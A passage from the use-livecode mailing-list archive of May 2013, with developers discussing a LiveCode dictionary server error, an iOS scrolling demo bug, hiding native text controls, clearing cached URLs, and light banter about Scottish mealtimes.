Schonewille) Date: Mon, 20 May 2013 13:31:21 +0200 Subject: Dictionary Server nonsense. In-Reply-To: <519A07B9.90907@gmail.com> References: <519A07B9.90907@gmail.com> Message-ID: Hi Richmond, I think this is only for downloading user comments. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for a quote. On 20 mei 2013, at 13:23, Richmond wrote: > The whole thing with the "Dictionary Server Error" does > not seem to make much sense as, as far as I understand, > all the documentation files are stored locally. > > For instance, on my Linux Main Box they are stored here: > > /home/jrm/.runrev/components/livecodecommunity-6.0.1-rc-1/Documentation/ > > and there are all sorts of "exciting things" there such as the PDF user guide" > > "This document is revision 19 (2010.11.09)." > > This did not stop LC 6.0.1 installed on a computer that had > no internet connexion from giving me that daft message. > > Richmond. From mcgrath3 at mac.com Mon May 20 07:42:47 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Mon, 20 May 2013 07:42:47 -0400 Subject: DataGrid Helper - Registering the product In-Reply-To: References: Message-ID: <1907A363-24AA-4819-8F13-513275F8624C@mac.com> Been there many times myself?. Hope you get your project done in time. -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 18, 2013, at 5:59 AM, Nigel Soden wrote: > I have made a completer and utter idiot of myself. From richmondmathewson at gmail.com Mon May 20 07:44:40 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 20 May 2013 14:44:40 +0300 Subject: Dictionary Server nonsense. In-Reply-To: References: <519A07B9.90907@gmail.com> Message-ID: <519A0CA8.1070507@gmail.com> On 05/20/2013 02:31 PM, Mark Schonewille wrote: > Hi Richmond, > > I think this is only for downloading user comments. Probably: but is still stuffs the whole of Livecode if one tries to use it. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com > > We have time for new software development projects. Contact me for a quote. > > > > > > > On 20 mei 2013, at 13:23, Richmond wrote: > >> The whole thing with the "Dictionary Server Error" does >> not seem to make much sense as, as far as I understand, >> all the documentation files are stored locally. >> >> For instance, on my Linux Main Box they are stored here: >> >> /home/jrm/.runrev/components/livecodecommunity-6.0.1-rc-1/Documentation/ >> >> and there are all sorts of "exciting things" there such as the PDF user guide" >> >> "This document is revision 19 (2010.11.09)." >> >> This did not stop LC 6.0.1 installed on a computer that had >> no internet connexion from giving me that daft message. >> >> Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Mon May 20 07:51:34 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Mon, 20 May 2013 06:51:34 -0500 Subject: Dictionary Server nonsense. In-Reply-To: <519A0CA8.1070507@gmail.com> References: <519A07B9.90907@gmail.com> <519A0CA8.1070507@gmail.com> Message-ID: In the meantime you can use BvG Docu 2, that's what I'm doing. http://bjoernke.com/?target=bvgdocu On Mon, May 20, 2013 at 6:44 AM, Richmond wrote: > On 05/20/2013 02:31 PM, Mark Schonewille wrote: > >> Hi Richmond, >> >> I think this is only for downloading user comments. >> > > Probably: but is still stuffs the whole of Livecode if one tries to use it. > > > >> -- >> Best regards, >> >> Mark Schonewille >> >> Economy-x-Talk Consulting and Software Engineering >> Homepage: http://economy-x-talk.com >> Twitter: http://twitter.com/**xtalkprogrammer >> KvK: 50277553 >> >> Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other >> colour spaces. http://www.color-converter.com >> >> We have time for new software development projects. Contact me for a >> quote. >> >> >> >> >> >> >> On 20 mei 2013, at 13:23, Richmond wrote: >> >> The whole thing with the "Dictionary Server Error" does >>> not seem to make much sense as, as far as I understand, >>> all the documentation files are stored locally. >>> >>> For instance, on my Linux Main Box they are stored here: >>> >>> /home/jrm/.runrev/components/**livecodecommunity-6.0.1-rc-1/** >>> Documentation/ >>> >>> and there are all sorts of "exciting things" there such as the PDF user >>> guide" >>> >>> "This document is revision 19 (2010.11.09)." >>> >>> This did not stop LC 6.0.1 installed on a computer that had >>> no internet connexion from giving me that daft message. >>> >>> Richmond. >>> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Mon May 20 08:12:21 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 20 May 2013 15:12:21 +0300 Subject: Dictionary Server nonsense. In-Reply-To: References: <519A07B9.90907@gmail.com> <519A0CA8.1070507@gmail.com> Message-ID: <519A1325.7030000@gmail.com> On 05/20/2013 02:51 PM, Shawn Blc wrote: > In the meantime you can use BvG Docu 2, that's what I'm doing. > http://bjoernke.com/?target=bvgdocu > Oddly enough, every time I start up Livecide OSS 6.0.1 on Linux it loads Bjoerne's plug-in, and then builds it; so it is obviously not saving. If I close the plug-in via the green ?, and then reopne it, it, again, rebuilds. Richmond. > > > On Mon, May 20, 2013 at 6:44 AM, Richmond wrote: > >> On 05/20/2013 02:31 PM, Mark Schonewille wrote: >> >>> Hi Richmond, >>> >>> I think this is only for downloading user comments. >>> >> Probably: but is still stuffs the whole of Livecode if one tries to use it. >> >> >> >>> -- >>> Best regards, >>> >>> Mark Schonewille >>> >>> Economy-x-Talk Consulting and Software Engineering >>> Homepage: http://economy-x-talk.com >>> Twitter: http://twitter.com/**xtalkprogrammer >>> KvK: 50277553 >>> >>> Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other >>> colour spaces. http://www.color-converter.com >>> >>> We have time for new software development projects. Contact me for a >>> quote. >>> >>> >>> >>> >>> >>> >>> On 20 mei 2013, at 13:23, Richmond wrote: >>> >>> The whole thing with the "Dictionary Server Error" does >>>> not seem to make much sense as, as far as I understand, >>>> all the documentation files are stored locally. >>>> >>>> For instance, on my Linux Main Box they are stored here: >>>> >>>> /home/jrm/.runrev/components/**livecodecommunity-6.0.1-rc-1/** >>>> Documentation/ >>>> >>>> and there are all sorts of "exciting things" there such as the PDF user >>>> guide" >>>> >>>> "This document is revision 19 (2010.11.09)." >>>> >>>> This did not stop LC 6.0.1 installed on a computer that had >>>> no internet connexion from giving me that daft message. >>>> >>>> Richmond. >>>> >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Mon May 20 08:15:37 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 20 May 2013 15:15:37 +0300 Subject: Dictionary Server nonsense. In-Reply-To: <519A1325.7030000@gmail.com> References: <519A07B9.90907@gmail.com> <519A0CA8.1070507@gmail.com> <519A1325.7030000@gmail.com> Message-ID: <519A13E9.7040009@gmail.com> On 05/20/2013 03:12 PM, Richmond wrote: > On 05/20/2013 02:51 PM, Shawn Blc wrote: >> In the meantime you can use BvG Docu 2, that's what I'm doing. >> http://bjoernke.com/?target=bvgdocu >> > > Oddly enough, every time I start up Livecide OSS 6.0.1 on Linux it > loads Bjoerne's plug-in, and then builds it; > so it is obviously not saving. > > If I close the plug-in via the green ?, and then reopen it, it, again, > rebuilds. HOWEVER; version 1.8 works well insofar as it built me documentation based on my 4.5 install as it was unable to see the "invisible" folder LC 6.0.l1 default installs in on Linux. > > Richmond. > >> >> >> On Mon, May 20, 2013 at 6:44 AM, Richmond >> wrote: >> >>> On 05/20/2013 02:31 PM, Mark Schonewille wrote: >>> >>>> Hi Richmond, >>>> >>>> I think this is only for downloading user comments. >>>> >>> Probably: but is still stuffs the whole of Livecode if one tries to >>> use it. >>> >>> >>> >>>> -- >>>> Best regards, >>>> >>>> Mark Schonewille >>>> >>>> Economy-x-Talk Consulting and Software Engineering >>>> Homepage: http://economy-x-talk.com >>>> Twitter: >>>> http://twitter.com/**xtalkprogrammer >>>> KvK: 50277553 >>>> >>>> Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other >>>> colour spaces. http://www.color-converter.com >>>> >>>> We have time for new software development projects. Contact me for a >>>> quote. >>>> >>>> >>>> >>>> >>>> >>>> >>>> On 20 mei 2013, at 13:23, Richmond wrote: >>>> >>>> The whole thing with the "Dictionary Server Error" does >>>>> not seem to make much sense as, as far as I understand, >>>>> all the documentation files are stored locally. >>>>> >>>>> For instance, on my Linux Main Box they are stored here: >>>>> >>>>> /home/jrm/.runrev/components/**livecodecommunity-6.0.1-rc-1/** >>>>> Documentation/ >>>>> >>>>> and there are all sorts of "exciting things" there such as the PDF >>>>> user >>>>> guide" >>>>> >>>>> "This document is revision 19 (2010.11.09)." >>>>> >>>>> This did not stop LC 6.0.1 installed on a computer that had >>>>> no internet connexion from giving me that daft message. >>>>> >>>>> Richmond. >>>>> >>>> ______________________________**_________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>>> >>>> >>> >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >>> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > From mcgrath3 at mac.com Mon May 20 08:34:33 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Mon, 20 May 2013 08:34:33 -0400 Subject: scrolling stack I made In-Reply-To: <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> Message-ID: <5943C35F-1F66-4825-937C-3FF0351D43E0@mac.com> Colin, I tried this (awesome) stack on an iPad Retina and there seems to be a problem with the scrolling logos being cut off. There seems to be a square section either missing or constrained for most logo images. I have a screen shot if you are interested here: https://www.dropbox.com/s/wlesoa70gy0yt2e/scrollingParallax.png Thanks for sharing this informative demo. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 19, 2013, at 7:04 PM, Colin Holgate wrote: > Hopefully some of you will try it on iOS and Android, it works well there too. > > > On May 19, 2013, at 10:55 PM, Alejandro Tejada wrote: > >>> This Scrolling Stack works really nice in Windows, too! :D > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mcgrath3 at mac.com Mon May 20 08:37:57 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Mon, 20 May 2013 08:37:57 -0400 Subject: scrolling stack I made In-Reply-To: <5943C35F-1F66-4825-937C-3FF0351D43E0@mac.com> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> <5943C35F-1F66-4825-937C-3FF0351D43E0@mac.com> Message-ID: <2917FCC4-7CC2-4C03-8A2F-0408A79A5ADE@mac.com> This screenshot shows an LC logo in the upper middle that seems to be constrained by the square where others seem to be cut out by the square. https://www.dropbox.com/s/vb57wkia6b1l1qq/scrollingParallax2.png Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 20, 2013, at 8:34 AM, Thomas McGrath III wrote: > Colin, > > I tried this (awesome) stack on an iPad Retina and there seems to be a problem with the scrolling logos being cut off. There seems to be a square section either missing or constrained for most logo images. I have a screen shot if you are interested here: https://www.dropbox.com/s/wlesoa70gy0yt2e/scrollingParallax.png > > Thanks for sharing this informative demo. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 19, 2013, at 7:04 PM, Colin Holgate wrote: > >> Hopefully some of you will try it on iOS and Android, it works well there too. >> >> >> On May 19, 2013, at 10:55 PM, Alejandro Tejada wrote: >> >>>> This Scrolling Stack works really nice in Windows, too! :D >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From coiin at verizon.net Mon May 20 08:52:16 2013 From: coiin at verizon.net (Colin Holgate) Date: Mon, 20 May 2013 08:52:16 -0400 Subject: scrolling stack I made In-Reply-To: <2917FCC4-7CC2-4C03-8A2F-0408A79A5ADE@mac.com> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> <5943C35F-1F66-4825-937C-3FF0351D43E0@mac.com> <2917FCC4-7CC2-4C03-8A2F-0408A79A5ADE@mac.com> Message-ID: That's just showing that a script error has happened. All of the logos should be different sizes, and if they're all the same size, like they are in the screenshot, something went wrong. Did you make any changes to the script? From mcgrath3 at mac.com Mon May 20 08:57:25 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Mon, 20 May 2013 08:57:25 -0400 Subject: scrolling stack I made In-Reply-To: References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> <5943C35F-1F66-4825-937C-3FF0351D43E0@mac.com> <2917FCC4-7CC2-4C03-8A2F-0408A79A5ADE@mac.com> Message-ID: Colin, For once I did not even open the script before I tested and loaded this. I saw the comment mentioning accelerometer and immediately loaded it on my iPad to see it in action. This was run straight from the download. Here is what is happening on my iPhone 4: https://www.dropbox.com/s/4po1t2brbq57jlm/ScrollingParallaxiPhone4.png Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 20, 2013, at 8:52 AM, Colin Holgate wrote: > That's just showing that a script error has happened. All of the logos should be different sizes, and if they're all the same size, like they are in the screenshot, something went wrong. > > Did you make any changes to the script? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mcgrath3 at mac.com Mon May 20 09:02:28 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Mon, 20 May 2013 09:02:28 -0400 Subject: scrolling stack I made In-Reply-To: References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> <5943C35F-1F66-4825-937C-3FF0351D43E0@mac.com> <2917FCC4-7CC2-4C03-8A2F-0408A79A5ADE@mac.com> Message-ID: Colin, I just checked a build using 6.0.1 and everything runs as expected. The original build was using 5.5.4 where it didn't work. So it seems that something in 5.5.4 has changed for 6.0.1 Thanks Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 20, 2013, at 8:57 AM, Thomas McGrath III wrote: > Colin, For once I did not even open the script before I tested and loaded this. I saw the comment mentioning accelerometer and immediately loaded it on my iPad to see it in action. This was run straight from the download. > > Here is what is happening on my iPhone 4: https://www.dropbox.com/s/4po1t2brbq57jlm/ScrollingParallaxiPhone4.png > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 20, 2013, at 8:52 AM, Colin Holgate wrote: > >> That's just showing that a script error has happened. All of the logos should be different sizes, and if they're all the same size, like they are in the screenshot, something went wrong. >> >> Did you make any changes to the script? >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From MikeKerner at roadrunner.com Mon May 20 10:46:46 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Mon, 20 May 2013 10:46:46 -0400 Subject: Hide uiTextFields Message-ID: I don't see it documented anywhere - instead of destroying and recreating uiTextFields and setting all their properties all over again (which I am guessing has GOT to contribute to the slowness of some of the transitions in one of my apps) is there a way to just show/hide them? I suppose I could move them off-screen somewhere, if need be, too. -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From effendi at wanadoo.fr Mon May 20 10:52:25 2013 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Mon, 20 May 2013 16:52:25 +0200 Subject: Strange script apearing in the message box Message-ID: <7C322CE9-EB00-41D8-B57D-6CF7E8381099@wanadoo.fr> Hi from Beautiful Brittany, ? where I have my head buried in the sand ?. Thanks Mark ! Sorry guys, hadn't looked at the forum mail for a few days. Too busy LiveCoding :>) Mea maxima culpa ?.. -Francis From dixonja at hotmail.co.uk Mon May 20 11:21:25 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Mon, 20 May 2013 16:21:25 +0100 Subject: Hide uiTextFields In-Reply-To: References: Message-ID: Mike... Have a read of the iOS relese notes, p.62... you are able to set the visible of any of the UIView class to 'true or 'false'... as in iphoneControlSet theID, "visible", "true" as they all share a common set of properties... > From: MikeKerner at roadrunner.com > Date: Mon, 20 May 2013 10:46:46 -0400 > Subject: Hide uiTextFields > To: use-livecode at lists.runrev.com > > I don't see it documented anywhere - instead of destroying and recreating > uiTextFields and setting all their properties all over again (which I am > guessing has GOT to contribute to the slowness of some of the transitions > in one of my apps) is there a way to just show/hide them? > > I suppose I could move them off-screen somewhere, if need be, too. > > -- > On the first day, God created the heavens and the Earth > On the second day, God created the oceans. > On the third day, God put the animals on hold for a few hours, > and did a little diving. > And God said, "This is good." > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From MikeKerner at roadrunner.com Mon May 20 11:37:27 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Mon, 20 May 2013 11:37:27 -0400 Subject: Hide uiTextFields In-Reply-To: References: Message-ID: Thanks, John - I didn't check that area. I was reading the control-specific pages. On Mon, May 20, 2013 at 11:21 AM, John Dixon wrote: > > Mike... > > Have a read of the iOS relese notes, p.62... you are able to set the > visible of any of the UIView class to 'true or 'false'... as in > > iphoneControlSet theID, "visible", "true" > > as they all share a common set of properties... > > > From: MikeKerner at roadrunner.com > > Date: Mon, 20 May 2013 10:46:46 -0400 > > Subject: Hide uiTextFields > > To: use-livecode at lists.runrev.com > > > > I don't see it documented anywhere - instead of destroying and recreating > > uiTextFields and setting all their properties all over again (which I am > > guessing has GOT to contribute to the slowness of some of the transitions > > in one of my apps) is there a way to just show/hide them? > > > > I suppose I could move them off-screen somewhere, if need be, too. > > > > -- > > On the first day, God created the heavens and the Earth > > On the second day, God created the oceans. > > On the third day, God put the animals on hold for a few hours, > > and did a little diving. > > And God said, "This is good." > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From revdev at pdslabs.net Mon May 20 14:09:54 2013 From: revdev at pdslabs.net (Phil Davis) Date: Mon, 20 May 2013 11:09:54 -0700 Subject: How to clear the cache In-Reply-To: References: Message-ID: <519A66F2.6080902@pdslabs.net> Shawn, There is a simple example in the docs of how to use 'the cachedUrls' as Richmond mentioned: on unloadAll repeat for each line thisURL in the cachedURLs unload URL thisURL end repeat end unloadAll This way you don't have to keep track of your URLs, unless you want to avoid unloading certain ones. Phil Davis On 5/19/13 4:59 AM, Shawn Blc wrote: > I have a little script to check for an internet connection. Problem is > that if I take this little script out of the preOpenCard and put it into a > button the results are the same. It keeps the last state, regardless if I > disconnect my wifi or not. I'm thinking that the URL that I'm connecting > to to check for an internet connection is still in cache. > > How would I clear this cache? These don't work. > clear URL > clear cache > > Any help is appreciated or at least point me in the right direction. > > Dank. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Phil Davis From bonnmike at gmail.com Mon May 20 14:19:25 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 20 May 2013 12:19:25 -0600 Subject: How to clear the cache In-Reply-To: <519A66F2.6080902@pdslabs.net> References: <519A66F2.6080902@pdslabs.net> Message-ID: If you aren't using "load" to load the urls, unloading most likely doesn't apply. either a) your system or network is caching, or your isp is cacheing.. either way the easiest solution is to append something to the end of the url each time. Think someone mentioned this but might only be in the forums. Even doing something simple like get url merge("http://myUrl.com/#[[the milliseconds]]") should force a new fetch since it is seen as a new url. (or use /?dummyparameter=[[the milliseconds]] If you are using load of course, then yes.. use unload. If you use load with a message you can auto-unload when the message fires since the URL is passed as a parameter to the message. From index at kenjikojima.com Mon May 20 15:00:22 2013 From: index at kenjikojima.com (index at kenjikojima.com) Date: Mon, 20 May 2013 15:00:22 -0400 Subject: UnicodeLabel & pulldown menu trouble Message-ID: <1856CC96-8FEB-4EB1-8C65-5E83EBC7BA3F@kenjikojima.com> Hi, When I set an unicode label of pulldown menu. I cannot get a menu item. -- Kenji Kojima / ???? http://www.kenjikojima.com/ From capellan2000 at gmail.com Mon May 20 15:32:01 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Mon, 20 May 2013 12:32:01 -0700 (PDT) Subject: Resources Index to learn LiveCode In-Reply-To: <5199F46F.70803@economy-x-talk.com> References: <1369004948164-4665118.post@n4.nabble.com> <5199F46F.70803@economy-x-talk.com> Message-ID: <1369078321929-4665152.post@n4.nabble.com> Hi All, Many Thanks Igor and Mark for answering this question! :D and I think that Bj?rnke is correct too, on this one: > No. Make one :P Have a nice day! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Resources-Index-to-learn-LiveCode-tp4665118p4665152.html Sent from the Revolution - User mailing list archive at Nabble.com. From slylabs13 at me.com Mon May 20 15:35:41 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Mon, 20 May 2013 12:35:41 -0700 Subject: where are you guys In-Reply-To: References: Message-ID: <8546F454-1D38-4830-9711-78918372E2D1@me.com> I'm right here! Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 17, 2013, at 11:56, Andre Garzia wrote: > Hey Guys, > > Its dinner time. I am wondering where you are! Please tell me over email > and possibly over SMS to +552199581066 > > cheers > andre > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From slylabs13 at me.com Mon May 20 15:37:56 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Mon, 20 May 2013 12:37:56 -0700 Subject: where are you guys In-Reply-To: <51967EB5.4020902@gmail.com> References: <51967EB5.4020902@gmail.com> Message-ID: <4B724CF0-AA52-4B99-AAF8-BFB3C1BE9635@me.com> So the Scotts really are descended from hobbits! Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 17, 2013, at 12:02, Richmond wrote: > On 05/17/2013 09:56 PM, Andre Garzia wrote: >> Hey Guys, >> >> Its dinner time. I am wondering where you are! Please tell me over email >> and possibly over SMS to +552199581066 >> >> cheers >> andre > > Somebody's eating 'dinner' very, very late indeed; as in Scotland, dinner is normally eaten at about > 1 o'clock in the afternoon. > > Supper is eaten in the evening. > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Mon May 20 15:50:47 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 20 May 2013 22:50:47 +0300 Subject: where are you guys In-Reply-To: <4B724CF0-AA52-4B99-AAF8-BFB3C1BE9635@me.com> References: <51967EB5.4020902@gmail.com> <4B724CF0-AA52-4B99-AAF8-BFB3C1BE9635@me.com> Message-ID: <519A7E97.5020201@gmail.com> On 05/20/2013 10:37 PM, Robert Sneidar wrote: > So the Scotts really are descended from hobbits! Who are the "Scotts"? Personally I'm not a "Scott". http://en.wikipedia.org/wiki/Dinner I am, however, a Scot and I take my dinner at abune 1 of the clock. And, standing at something of the order of 6'2" you'd be hard put to find any hobbits in my ancestry; either those small people from an island in the south seas or those cooked up by Tolkien. However, I don't really care when anybody takes their dinner; what interests me is how many members of this Use-List take Tiffin! Richmond. > > Bob Sneidar > IT Manager > Calvary Chapel CM > Sent from iPhone > > On May 17, 2013, at 12:02, Richmond wrote: > >> On 05/17/2013 09:56 PM, Andre Garzia wrote: >>> Hey Guys, >>> >>> Its dinner time. I am wondering where you are! Please tell me over email >>> and possibly over SMS to +552199581066 >>> >>> cheers >>> andre >> Somebody's eating 'dinner' very, very late indeed; as in Scotland, dinner is normally eaten at about >> 1 o'clock in the afternoon. >> >> Supper is eaten in the evening. >> >> Richmond. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From msiskin at andrew.cmu.edu Mon May 20 15:53:13 2013 From: msiskin at andrew.cmu.edu (Marc Siskin) Date: Mon, 20 May 2013 19:53:13 +0000 Subject: where are you guys In-Reply-To: <4B724CF0-AA52-4B99-AAF8-BFB3C1BE9635@me.com> References: <51967EB5.4020902@gmail.com> <4B724CF0-AA52-4B99-AAF8-BFB3C1BE9635@me.com> Message-ID: <186B9F305200B347BB739D76C5632B1D1715B2@PGH-MSGMB-03.andrew.ad.cmu.edu> You are mistaken. Scots are descended from Dwarves. Can't you tell the accent? :-) Marc On May 20, 2013, at 3:37 PM, Robert Sneidar > wrote: So the Scotts really are descended from hobbits! Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 17, 2013, at 12:02, Richmond > wrote: On 05/17/2013 09:56 PM, Andre Garzia wrote: Hey Guys, Its dinner time. I am wondering where you are! Please tell me over email and possibly over SMS to +552199581066 cheers andre Somebody's eating 'dinner' very, very late indeed; as in Scotland, dinner is normally eaten at about 1 o'clock in the afternoon. Supper is eaten in the evening. Richmond. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode --------------- Marc Siskin Manager, Modern Language Resource Center Carnegie Mellon University msiskin at andrew.cmu.edu From richmondmathewson at gmail.com Mon May 20 15:55:05 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 20 May 2013 22:55:05 +0300 Subject: where are you guys In-Reply-To: <186B9F305200B347BB739D76C5632B1D1715B2@PGH-MSGMB-03.andrew.ad.cmu.edu> References: <51967EB5.4020902@gmail.com> <4B724CF0-AA52-4B99-AAF8-BFB3C1BE9635@me.com> <186B9F305200B347BB739D76C5632B1D1715B2@PGH-MSGMB-03.andrew.ad.cmu.edu> Message-ID: <519A7F99.6080908@gmail.com> On 05/20/2013 10:53 PM, Marc Siskin wrote: > You are mistaken. Scots are descended from Dwarves. Can't you tell the accent? :-) Och, Aye, I can always catch the accent on my e-mail client! . . . LOL. Richmond. > > Marc > > On May 20, 2013, at 3:37 PM, Robert Sneidar > wrote: > > So the Scotts really are descended from hobbits! > > Bob Sneidar > IT Manager > Calvary Chapel CM > Sent from iPhone > > On May 17, 2013, at 12:02, Richmond > wrote: > > On 05/17/2013 09:56 PM, Andre Garzia wrote: > Hey Guys, > > Its dinner time. I am wondering where you are! Please 